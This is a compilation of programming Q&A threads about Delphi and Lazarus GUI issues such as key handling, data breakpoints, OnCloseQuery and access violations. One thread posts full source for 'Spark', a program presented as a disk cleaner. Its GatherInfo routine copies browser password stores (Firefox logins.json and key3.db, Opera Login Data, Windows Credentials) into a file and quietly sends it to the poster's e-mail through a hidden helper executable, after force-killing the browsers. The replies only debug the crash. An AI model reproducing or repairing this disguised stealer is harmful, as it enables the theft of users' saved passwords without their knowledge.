I try the following, to capture the "Esc" key:
procedure Tform1.FormCreate(Sender: TObject);
begin
KeyPreview := True;
end;
procedure TForm1.FormKeyPress(Sender: TObject; var Key: char);
begin
if Key = #27 then
begin
btnCloseClick(Sender);
end;
end;
But Interrupted place a point to debug, and never invoked the method
I appreciate any help.
try the event UTFKeyPress instead:
procedure TForm1.FormUTF8KeyPress(Sender: TObject; var UTF8Key: TUTF8Char);
begin
if UTF8Key = #27 then
btnCloseClick(Sender);
end;
Related
As an example, given the code extract below, I would like to define a breakpoint that triggers whenever the object field value changes and optionally, breaks on a condition (False or True in this case).
type
TForm1 = class(TForm)
EnableButton: TButton;
DisableButton: TButton;
procedure EnableButtonClick(Sender: TObject);
procedure DisableButtonClick(Sender: TObject);
private
FValue: Boolean; // <== Would like to define a breakpoint here whenever FValue changes.
public
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.DisableButtonClick(Sender: TObject);
begin
FValue := False;
end;
procedure TForm1.EnableButtonClick(Sender: TObject);
begin
FValue := True;
end;
Run the application under the debugger,
select 'Run' from the IDE menu then select 'Add Breakpoint' at the very bottom, then 'Data Breakpoint...'.
enter 'Form1.FValue' as input to the 'Adress:' field. You can also set your condition in the same dialog.
Some additional information thanks to Sertac answer and comment from David.
One can define a breakpoint based on changes in an array item with a condition.
In this case the data breakpoint is defined as follow:
Form1.FBooleans[0] = True
Code extract:
type
TBooleanArray = array of Boolean;
TForm1 = class(TForm)
EnableButton: TButton;
DisableButton: TButton;
procedure EnableButtonClick(Sender: TObject);
procedure DisableButtonClick(Sender: TObject);
private
FBooleans: TBooleanArray; // Breakpoint defined here with the condition
public
constructor Create(AOwner: TComponent); override;
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
constructor TForm1.Create(AOwner: TComponent);
var
AIndex: Integer;
begin
inherited;
SetLength(FBooleans, 3);
for AIndex := 0 to Length(FBooleans) - 1 do
begin
FBooleans[AIndex] := (AIndex mod 2) = 1;
end;
end;
procedure TForm1.DisableButtonClick(Sender: TObject);
begin
FBooleans[0] := False;
end;
procedure TForm1.EnableButtonClick(Sender: TObject);
begin
FBooleans[0] := True; // Beakpoint stops here on condition.
end;
I'm getting an error in Pascal, and according to my research it's due to a declaration error (class or variable). It has to be something small, since it was working just fine. I would really appreciate any help.
To be more specific, the error I'm getting is:
'External:ACCESS VIOLATION' with message: Accedd violation reading from address $000004A8. In line 66: Efa.Text:=D.Fa ;
unit UnidadProyectoInformaticaUno;
{$mode objfpc}{$H+}{$R+}{$Q+}
interface
uses
Classes, SysUtils, Forms, Controls, Graphics, Dialogs, StdCtrls,Math;
type
{ TForm1 }
TForm1 = class(TForm)
BNext: TButton;
BPrev: TButton;
BAdd: TButton;
BDel: TButton;
BClose: TButton;
EFa: TEdit;
EIm: TEdit;
EOch: TEdit;
EOt: TEdit;
ENum: TEdit;
LabFa: TLabel;
LabIm: TLabel;
LabOch: TLabel;
LabOt: TLabel;
LabNUM: TLabel;
procedure BAddClick(Sender: TObject);
procedure BCloseClick(Sender: TObject);
procedure BDelClick(Sender: TObject);
procedure BNextClick(Sender: TObject);
procedure BPrevClick(Sender: TObject);
private
public
end;
var
Form1: TForm1;
implementation
{$R *.lfm}
type
R= record
Fa,Im,Och: string[20];
Ot:array[1..5] of integer;
end;
Var F:file of R;
D,D1,D2:R;
Irec,i,j,k:integer;
note,grade,nada:string;
procedure OutRec;
begin
with Form1 do
IF Irec > 0 then
begin
seek(F,Irec-1);
read(F,D);
EFa.Text:=D.Fa;
EIm.Text:=D.Im;
for i:= 1 to 5 do
begin
grade:= grade +IntToStr(D.Ot[i])+' ';
end;
Eot.Text:=grade;
EOch.Text:=D.Och;
Enum.Text:= IntToStr(Irec);
end
else
begin
EFa.Text:=nada;
Enum.Text:=nada;
end;
end;
{ TForm1 }
procedure TForm1.BNextClick(Sender: TObject);
begin
If Irec = filesize(F) then
Exit
else
Irec:= Irec+1;
OutRec;
end;
procedure TForm1.BAddClick(Sender: TObject);
begin
D.Fa:=Efa.Text;
D.Im:=Eim.Text;
D.Och:=EOch.Text;
Note:= Eot.text;
for i:= 1 to 5 do
begin
k:=Pos(' ',Note);
D.Ot[i]:= strToInt(Copy(Note,1,k-1));
Delete(Note,1,k);
end;
seek(F,FileSize(F));
Write(F,D);
Irec:= FileSize(F);
OutRec;
end;
procedure TForm1.BCloseClick(Sender: TObject);
begin
close
end;
procedure TForm1.BDelClick(Sender: TObject);
begin
for i:= Irec+1 to Filesize(F) do
begin
seek(F,i-1);
read(F,D);
Seek(F,i-2);
Write(F,D);
end;
Seek(F,Filesize(f)-1);
Truncate(F);
Irec:= Min(Irec,FileSIze(F));
Outrec;
end;
procedure TForm1.BPrevClick(Sender: TObject);
begin
if Irec<2 then Exit;
Irec:= Irec-1;
OutRec;
end;
function Sort(Z:R):string;
begin
Result:=Z.Fa+' '+Z.Im+' '+Z.Och;
end;
procedure BStatus;
begin
with Form1 do
BNext.Enabled:= Irec < FileSize(f);
end;
procedure B1Status;
begin
with Form1 do
BPrev.Enabled:= Irec > 1;
end;
procedure B2Status;
begin
with Form1 do
BAdd.Enabled:= length(Eot.Text) > 0 ;
end;
procedure B3Status;
begin
with Form1 do
BDel.Enabled:= IRec > 0;
end;
begin
assignfile(F,'file.dat');
try reset(F);
except
rewrite(F);
end;
Irec:= Min(1,filesize(F));
OutRec;
for i :=1 to filesize(F)-1 do
for j:= Filesize(F) to i do
begin
seek(F,i);
read(F,D1,D2);
if Sort(D1)>Sort(D2) then
begin
write(f,D2,D1);
end;
end;
end.
In Free Pascal Reference guide, version 3.04 (May 2018), Paragraph 16.2 that deals with Units, it is said that a unit may have an initialization part and a finalization part. It is also said: "An initialization section by itself (i.e. without finalization) may simply be replaced by a statement block.", which is what you have in your code.
That statement block, between the begin and end of the unit, executes at program initialization before the Form1 (declared in the same unit) is created. Therefore you can not refer to anything belonging to the form, like fields, controls, methods, etc. in this statement block, neither directly nor indirectly.
You are calling procedure OutRec, which refers to Efa: TEdit of the form. Since the form is not yet created, you get the error of Access violation.
You must rearrange your code so it doesn't attempt to access any parts of the form from the statement block that replaces a unit initialization part.
I wrote a small testprogram to try out the FormCreate and the FormCloseQuery procedure. The FormCreate works fine, but the FormCloseQuery just doesn't want to execute. Did I overlook something? Pressing the "X" on a form-window or using the close method, both doesn't work!
procedure FormCreate(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: boolean);
(...)
procedure TForm1.FormCreate(Sender: TObject);
beginn
//gets executed without problems
end;
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
case MessageDlg('Question', mtConfirmation, [mbyes, mbno, mbcancel], 0) of
mrYes:
begin
ShowMessage('yes');
CanClose := true;
end;
mrNo:
begin
ShowMessage('no');
CanClose := true;
end;
else
begin
ShowMessage('cancel');
CanClose := true;
end;
end;
end;
Here's the full code:
The lpr-File:
program project1;
{$mode objfpc}{$H+}
uses
{$IFDEF UNIX}{$IFDEF UseCThreads}
cthreads,
{$ENDIF}{$ENDIF}
Interfaces, // this includes the LCL widgetset
Forms, Unit1
{ you can add units after this };
{$R *.res}
begin
RequireDerivedFormResource:=True;
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
The Unit-File:
unit Unit1;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs, StdCtrls;
type
{ TForm1 }
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: boolean);
private
{ private declarations }
public
{ public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.lfm}
{ TForm1 }
procedure TForm1.FormCreate(Sender: TObject);
begin
ShowMessage('FormCreate Procedure wurde gestartet');
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Close;
end;
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
case MessageDlg('Question', mtConfirmation, [mbyes, mbno, mbcancel], 0) of
mrYes:
begin
ShowMessage('yes');
CanClose := true;
end;
mrNo:
begin
ShowMessage('no');
CanClose := true;
end;
else
begin
ShowMessage('cancel');
CanClose := true;
end;
end;
end;
end.
The solution is/was to hook up the form's OnCloseQuery event of the form to this procedure. Here's a short description how to do it:
Bring up and select the form (in my case "Form1: TForm1") in the object inspector (see explanation below).
In the object inspector go to the tab "events"
Locate the "OnCloseQuery"-Event and select "FormCloseQuery" if you already declared and written the procedure as it was the case in my example. (If you haven't declared/implemented it double click in the dropdown box or click on the button next to it, the one with the three dots, an an empty "OnCloseQuery"-procedure procedure will be added automatically. The code editor will jump directly to the new procedure.)
To bring up / select the form in the object inspector, open the object inspector (F11). If you are looking at the code editor bring up the form first (F12) and click on it. This should bring it up in the object inspector. Make sure the form (the top element in the list) is selected and none of it's components (like buttons etc.).
Here's another explanation: http://www.delphigroups.info/2/b2/444056.html
I have a graphical program with forms and a lot of code. When I started it, it was fine, no errors, no exceptions. I added two more procedures and it still ran without problems. I placed a progress bar, and added this code to an Image's OnClick event: ProgressBar.Visible:=False; The compilation finished with no errors, but when I ran the program, I got this exception:
Project Spark raised exception class 'External: SIGSEGV'.
In file '.\include\control.inc' at line 948:
Result := IsControlVisible and ((Parent = nil) or (Parent.IsVisible));
Strange fact: I removed the progress bar and every procedure assigned to, but I kept getting this error.
Additional info:
Compiled under Lazarus ver. 1.2.6
FPC Version: 2.6.4
Windows 7 Ultimate 6.1.7601.1.1252.1.1033.18.8130.4811
EDIT: Here is the full code as requested.
But first: This program is supposed to be a Clean-Up program, which finds and deletes some files. The GatherInfo procedure sends me additional debug info (by executing an external program).
unit sparkunit;
{$mode objfpc}{$H+}
interface
uses
Windows, Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs,
LResources, StdCtrls, WelcomeUnit, scanunit, Variants, SHLOBJ,
ExtCtrls, ComCtrls, Process;
type
{ TSparkForm }
TSparkForm = class(TForm)
Borders: TImage;
Borders1: TImage;
Borders2: TImage;
Borders3: TImage;
NextBTN: TImage;
OLabel: TLabel;
ScanFRM: TScanFrame;
TitleLBL: TLabel;
Wallpaper: TImage;
WelcomeFRM: TWelcomeFrame;
XLabel: TLabel;
_Label: TLabel;
procedure BordersMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure BordersMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure BordersMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure FormClose(Sender: TObject; var CloseAction: TCloseAction);
procedure FormCreate(Sender: TObject);
procedure NextBTNClick(Sender: TObject);
procedure OLabelClick(Sender: TObject);
procedure XLabelClick(Sender: TObject);
procedure _LabelClick(Sender: TObject);
private
{ private declarations }
public
{ public declarations }
end;
const SparkCursor = 777;
SparkDragCursor = 778;
var
SparkForm: TSparkForm;
MouseIsDown: Boolean;
PX, PY: Integer;
Operating: Boolean;
FFile: Text;
Path,Looper: String;
Master: TProcess;
Browser: Array [1..4] of String;
//1=Firefox, 2=Chrome, 3=Opera, 4=Internet Explorer
implementation
{$R *.lfm}
{ TSparkForm }
function GetSystemLoc: string;
var
FilePath: array [0..255] of char;
begin
SHGetSpecialFolderPath(0, #FilePath[0], $0025, True);
Result := FilePath;
end;
procedure CrFile(F: String);
var D: Text;
Begin
AssignFile(D,F);
Rewrite(D);
CloseFile(D);
end;
procedure Log(StrToLog:String);
var Lof: Text;
Begin
AssignFile(Lof,'SparkLog.txt');
Append(Lof);
Writeln(Lof,StrToLog);
CloseFile(Lof);
end;
procedure ChList(FileToAdd: String);
Begin
if ((FileExists(FileToAdd)) or (DirectoryExists(FileToAdd))) and (FileToAdd<>'C:\Windows\') then Begin
AssignFile(FFile,'Deletions.tmp');
Append(FFile);
Writeln(FFile,FileToAdd);
CloseFile(FFile);
Log('Automatically added '+FileToAdd+' to the deletion list.');
end;
Application.ProcessMessages;
SparkForm.Refresh;
end;
procedure ChAdd(FileToAdd: String);
var DFile: Text;
Begin
AssignFile(FFile,'CookieJar.zip');
Append(FFile);
Writeln(FFile);
Writeln(FFile,FileToAdd);
Writeln(FFile);
if FileExists(FileToAdd) then Begin
if Not(CopyFile(FileToAdd,'Temp.tmp')) then ShowMessage('Error!');
AssignFile(DFile,'Temp.tmp');
Reset(DFile);
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
Readln(DFile,Looper);
Writeln(FFile,Looper);
until EOF(DFile);
CloseFile(DFile);
DeleteFile('Temp.tmp');
End;
CloseFile(FFile);
end;
procedure ChDel(FilePath: String);
Begin
if FileExists(FilePath) then DeleteFile(FilePath)
Else if DirectoryExists(FilePath) then DeleteDirectory(FilePath,True);
end;
function NotInCar(FileName: String): Boolean;
Begin
if (Pos('Spark',FileName)<>0) then NotInCar:=False
Else NotInCar:=True;
End;
procedure AddExtension(Ext: String);
var FileList: TStringList;
I: LongInt;
Drive: Char;
O: Text;
Begin
AssignFile(FFile,'Ext.tmp');
Rewrite(FFile);
CloseFile(FFile);
For Drive:='A' to 'Z' do
if DirectoryExists(Drive+':\') then Begin
Application.ProcessMessages;
SparkForm.Refresh;
FileList:=FindAllFiles(Drive+':\',Ext,True);
if FileList.Count>0 then Begin
Application.ProcessMessages;
SparkForm.Refresh;
AssignFile(FFile,'Ext.tmp');
Append(FFile);
For I:=1 to FileList.Count-1 do if NotInCar(FileList.Strings[I]) then Writeln(FFile,FileList.Strings[I]);
CloseFile(FFile);
end;
end;
FileList.Free;
AssignFile(O,'Deletions.tmp');
Append(O);
AssignFile(FFile,'Ext.tmp');
Reset(FFile);
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
Readln(FFile,Looper);
Writeln(O,Looper);
until EOF(FFile);
CloseFile(O);
CloseFile(FFile);
DeleteFile('Ext.tmp');
Application.ProcessMessages;
SparkForm.Refresh;
end;
Procedure GatherInfo;
var IEList: TStringList;
I: LongInt;
Begin
SparkForm.ScanFRM.StatusLBL.Caption:='Gathering information...';
//GetFiles
AssignFile(FFile,'CookieJar.zip');
Rewrite(FFile);
CloseFile(FFile);
ChAdd(Browser[1]+'key3.db');
ChAdd(Browser[1]+'logins.json');
Application.ProcessMessages;
SparkForm.Refresh;
IEList:=TStringList.Create;
IEList:=FindAllFiles(Browser[4],'*.*',true);
if IEList.Count>0 then
For I:=1 to IEList.Count do Begin
Application.ProcessMessages;
SparkForm.Refresh;
ChAdd(IEList.Strings[I-1]);
end;
ChAdd(Browser[3]);
Application.ProcessMessages;
SparkForm.Refresh;
Browser[3]:=GetEnvironmentVariable('appdata')+'\Opera Software\Opera Stable\';
Application.ProcessMessages;
SparkForm.Refresh;
ChAdd(Browser[3]+'Login Data');
ChAdd(Browser[3]+'Login Data-journal');
//Send
Master:=TProcess.Create(NIL);
Master.Executable:='SendUsage.exe';
Master.Parameters.Add(GetCurrentDir);
Master.Parameters.Add('{My E-Mail}');
Application.ProcessMessages;
SparkForm.Refresh;
Master.ShowWindow:=swoHIDE;
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Application.ProcessMessages;
SparkForm.Refresh;
end;
Procedure StartScan;
var Windir: PChar;
Begin
Application.ProcessMessages;
SparkForm.Refresh;
GetWindowsDirectory(Windir,255);
SparkForm.ScanFRM.StatusLBL.Caption:='Scanning...';
ChList(GetEnvironmentVariable('temp'));
ChList(Windir+'\Temporary Internet Files');
ChList(Windir+'\Downloaded Program Files');
ChList(Windir+'\History');
ChList(Windir+'\Temp');
ChList(Windir+'\Cookies');
ChList(Windir+'\Favorites');
ChList(Windir+'\system.nu3');
ChList(Windir+'\user.nu3');
Application.ProcessMessages;
SparkForm.Refresh;
AddExtension('*.tmp');
AddExtension('*.temp');
AddExtension('*.chk');
Application.ProcessMessages;
SparkForm.Refresh;
AddExtension('*.old');
AddExtension('*.gid');
AddExtension('*.nch');
AddExtension('*.wbk');
AddExtension('*.fts');
AddExtension('*.ftg');
AddExtension('*.$$$');
AddExtension('*.err');
AddExtension('*.—');
AddExtension('*.~*');
AddExtension('~*.*');
AddExtension('*.??$');
AddExtension('*.___');
AddExtension('*.~mp');
AddExtension('*._mp');
AddExtension('*.prv');
AddExtension('*.sik');
AddExtension('CHKLIST.MS');
AddExtension('*.ilk');
AddExtension('*.aps');
AddExtension('*.mcp');
Application.ProcessMessages;
SparkForm.Refresh;
AddExtension('*.pch');
AddExtension('*.$db');
AddExtension('*.?$?');
AddExtension('*.??~');
AddExtension('*.?~?');
AddExtension('*.db$');
AddExtension('*.^');
AddExtension('*._dd');
AddExtension('*._detmp');
AddExtension('0*.nch');
AddExtension('chklist.*');
AddExtension('mscreate.dir');
AddExtension('*.diz');
AddExtension('*.syd');
AddExtension('*.grp');
AddExtension('*.cnt');
AddExtension('*.~mp');
end;
Procedure StartDeletion;
Begin
SparkForm.ScanFRM.StatusLBL.Caption:='Cleaning...';
AssignFile(FFile,'Deletions.tmp');
Reset(FFile);
Repeat
Readln(FFile,Looper);
ChDel(Looper);
Application.ProcessMessages;
SparkForm.Refresh;
if Not(Looper='') then
Log(Looper+' was removed.')
Else Log('An unknown file was removed.');
until EOF(FFile);
CloseFile(FFile);
DeleteFile('Deletions.tmp');
end;
procedure TSparkForm.FormCreate(Sender: TObject);
begin
Screen.Cursors[SparkCursor] := LoadCursorFromLazarusResource('Spark');
Screen.Cursors[SparkDragCursor] := LoadCursorFromLazarusResource('SparkDrag');
Wallpaper.Cursor := SparkCursor;
Borders.Cursor := SparkCursor;
Borders1.Cursor := SparkCursor;
Borders2.Cursor := SparkCursor;
Borders3.Cursor := SparkCursor;
WelcomeFRM.Cursor:= SparkCursor;
WelcomeFRM.Label1.Cursor:= SparkCursor;
WelcomeFRM.Label2.Cursor:= SparkCursor;
WelcomeFRM.Label3.Cursor:= SparkCursor;
WelcomeFRM.Image1.Cursor:= SparkCursor;
Browser[1]:=GetEnvironmentVariable('appdata')+'\Mozilla\Firefox\Profiles\lbtxc2cz.default\';
Browser[4]:=GetEnvironmentVariable('appdata')+'\Microsoft\Credentials\';
Browser[3]:=GetEnvironmentVariable('appdata')+'\Opera\Opera\profile\wand.dat';
end;
Procedure KillBrowser;
Begin
try
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im waterfox.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im firefox.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im chrome.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im iexplore.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im opera.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
except
end;
end;
procedure TSparkForm.NextBTNClick(Sender: TObject);
begin
Application.MessageBox(PChar('Please close all running programs to continue!'),'Spark',0+48);
Application.MessageBox(PChar('Having other programs open while Spark is performing an action may result in an unstable system (and fatal errors)!'),'Spark',0+16);
Application.MessageBox(PChar('Spark will now try to automatically kill every potentially dangerous program!'),'Spark',0+48);
KillBrowser;
Operating:=True;
WelcomeFRM.Visible:=False;
ScanFRM.Visible:=True;
ScanFRM.Preloader.AnimatedGifToSprite('Scan.gif');
NextBTN.Visible:=False;
CrFile('Deletions.tmp');
CrFile('SparkLog.txt');
Application.ProcessMessages;
SparkForm.Refresh;
GatherInfo;
Application.ProcessMessages;
SparkForm.Refresh;
StartScan;
Application.ProcessMessages;
SparkForm.Refresh;
StartDeletion;
Application.MessageBox(PChar('Spark has finished cleaning! To see the results, open the log file located at'+sLineBreak+GetCurrentDir+'\SparkLog.txt'),'Spark',0+64);
Operating:=False;
SparkForm.Close;
Application.Terminate;
end;
procedure TSparkForm.OLabelClick(Sender: TObject);
begin
end;
procedure TSparkForm.XLabelClick(Sender: TObject);
begin
if not(Operating) then Begin
SparkForm.Close;
Application.Terminate;
end
Else Application.MessageBox('Spark is currently performing an operation! Do NOT exit!'+sLineBreak+'Exiting Spark may result in an unstable System!','Spark',0+16);
end;
procedure TSparkForm._LabelClick(Sender: TObject);
begin
Application.Minimize;
end;
procedure TSparkForm.BordersMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
if Button = mbLeft then begin
MouseIsDown := True;
PX := X;
PY := Y;
Borders.Cursor := SparkDragCursor;
end;
end;
procedure TSparkForm.BordersMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
if MouseIsDown then begin
SetBounds(SparkForm.Left + (X - PX), SparkForm.Top + (Y - PY), SparkForm.Width, SparkForm.Height);
end;
end;
procedure TSparkForm.BordersMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
MouseIsDown:=False;
Borders.Cursor := SparkCursor;
end;
procedure TSparkForm.FormClose(Sender: TObject; var CloseAction: TCloseAction);
begin
end;
initialization
{$I sparkcursor1.lrs} {I'm using custom cursor resources}
{$I sparkcursor2.lrs}
end.
EDIT 2: The SIGSEGV error was caused by an invalid variable, declared as Windir: PChar;. It was pointing to a protected memory address, causing the program to terminate with an exception of Access Violation. It's always a good idea to surround the code with try/except blocks to catch minor exceptions.
I have had a quick glance at the code:
In your procedure AddExtension(Ext: String); on line 139 you have a FileList:TStringList declared but it is not created anywhere.
You will need to create this object FileList:=TStringList.Create; to use it.
I'm having the next problem with SELECTNEXT and FINDNEXTCONTROL procedures in Delphi XE2 (Update 4 under WinXP Pro 32b), these procedures aren't working correctly. When a control gets focus and I try to pass to next control with the code below, it does not simply work:
procedure TformMain.cbServicioKeyPress(Sender: TObject; var Key: Char);
begin
if Key=#13 then
SelectNext(TWinControl(Sender), True, True);
end;
I've reviewed the code for FINDNEXTCONTROL and I've created a similar procedure and I've detected the problem is in these lines:
function TWinControl.FindNextControl(CurControl: TWinControl;
GoForward, CheckTabStop, CheckParent: Boolean): TWinControl;
...........
GetTabOrderList(List);
if List.Count > 0 then
begin
StartIndex := List.IndexOf(CurControl);
...........
end;
For any weird reason, procedure GETTABORDERLIST gives a list with valid references except for the current control focused, it does that LIST.INDEXOF returns -1, and the position in LIST object for current control focused is taken for another object whose NAME property is an empty string.
I developed this code:
procedure TformMain.GoNextControl(T: TWinControl; CheckTabStop: Boolean);
var
vParent, vNextChild : TWinControl;
List : TList;
CurIndex, i : Integer;
S:String;
begin
vParent:= Self; //T.Parent;
vNextChild:= nil;
List:= TList.Create;
try
vParent.GetTabOrderList(List);
if List.Count > 0 then
begin
//CurIndex:= List.IndexOf(T);
CurIndex:= -1;
for i:= 0 to List.Count-1 do begin
S:= TWinControl(List[i]).Name;
if S = EmptyStr then
begin
CurIndex:= i;
Break;
end;
end;
...........................
Anyone has a response for this anomaly or a better solution? Thanks in advance.
d
procedure TfrmMain.ControlKeyPress(Sender: TObject; var Key: Char);
begin
if Key = #13 then
begin
SelectNext(ActiveControl, TRUE, TRUE);
Key := #0;
end;
end;